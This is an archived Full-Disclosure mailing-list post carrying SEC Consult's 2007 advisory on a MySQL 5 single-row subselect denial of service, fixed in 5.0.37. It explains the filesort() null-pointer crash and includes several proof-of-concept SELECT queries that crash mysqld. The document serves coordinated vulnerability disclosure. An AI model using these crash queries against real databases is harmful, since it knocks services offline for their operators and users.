full-disclosure - SEC Consult SA-20070309-0 :: MySQL 5 Single Row Subselect Denial of Service

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Fri, 9 Mar 2007 20:06:12 +0100 (CET)
From: research@...-consult.com
To: Bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Subject: SEC Consult SA-20070309-0 :: MySQL 5 Single Row
 Subselect Denial of Service

SEC-CONSULT Security Advisory < 20070309-0>
===========================================================================
                  title: MySQL 5 Single Row Subselect Denial of Service
                program: MySQL 5
     vulnerable version: < 5.0.37
                 impact: moderate
               homepage: http://www.mysql.com
                  found: 2007-02-10
                     by: S.Streichbier / SEC-CONSULT / www.sec-consult.com
                         B.Mueller     / SEC-CONSULT / www.sec-consult.com
         permanent link: http://www.sec-consult.com/284.html
===========================================================================

Vendor description:
---------------

MySQL, the most popular Open Source SQL database management system, is
developed, distributed, and supported by MySQL AB. MySQL AB is a
commercial company, founded by the MySQL developers. It is a second
generation Open Source company that unites Open Source values and
methodology with a successful business model.

[Source: http://www.mysql.com]

Vulnerability overview:
---------------

In order to exploit this vulnerability the attacker needs to execute
select statements on the database (e.g. SQL Injection).

Starting with version 5, MySQL provides access to the database metadata.
When using functions that operate on strings in combination with
subselects on information_schema tables and additional sorting of the
results with the ORDER BY clause, a null-pointer dereferencation takes
place causing a segmentation fault.

This allows an attacker to crash the MySQL database. We have not found
any code execution vector resulting from this bug, though further
research into this and related bugs may provide interesting results.

Vulnerability details:
---------------

When a subselect in a string function is used,
Item_singlerow_subselect::val_str() is called. As it is not expected
that the result of a single row subselect will be sorted, certain fields
(specifically sort->io_cache) in the allocated struct st_table are not
initalized. Yet, when "ORDER BY" is used in the query, filesort() is run
on the table. The actual segfault occurs in an error handling routine in
filesort():

libmysqld/filesort.cc:

111   FILESORT_INFO table_sort;
(...)
117   memcpy(&table_sort, &table->sort, sizeof(FILESORT_INFO));
120   outfile= table_sort.io_cache;
(..)
269  err:
(..)
276   if (my_b_inited(outfile))

include/my_sys.h:

503 #define my_b_inited(info) (info)->buffer

This leads to a null pointer dereference (EAX+8 or EBX+8 = 0x00000008 in
our test installations) crashing mysqld.

proof of concept:
---------------

Any string function can be used to exploit this vulnerability.

SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY
1));
SELECT TRIM(LEADING FROM (SELECT table_name FROM
information_schema.columns ORDER BY 1));
SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY
1),1,1);
SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY
1));
SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY
1));
SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY
1),1,'lol');

vulnerable versions:
---------------

All versions since the introduction of INFORMATION_SCHEMA tables seem to
be vulnerable to the Denial of Service attack. The version 5.0.37 fixes
this security issue.

vendor status:
---------------
vendor notified: 2007-02-22
vendor response: 2007-02-22
patch available: 2007-03-09
coordinated disclosure: 2007-03-09

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH

Office Vienna
Blindengasse 3
A-1080 Wien
Austria

Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 15
Mail: research at sec-consult dot com
www.sec-consult.com

EOF Stefan Streichsbier / @2007

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/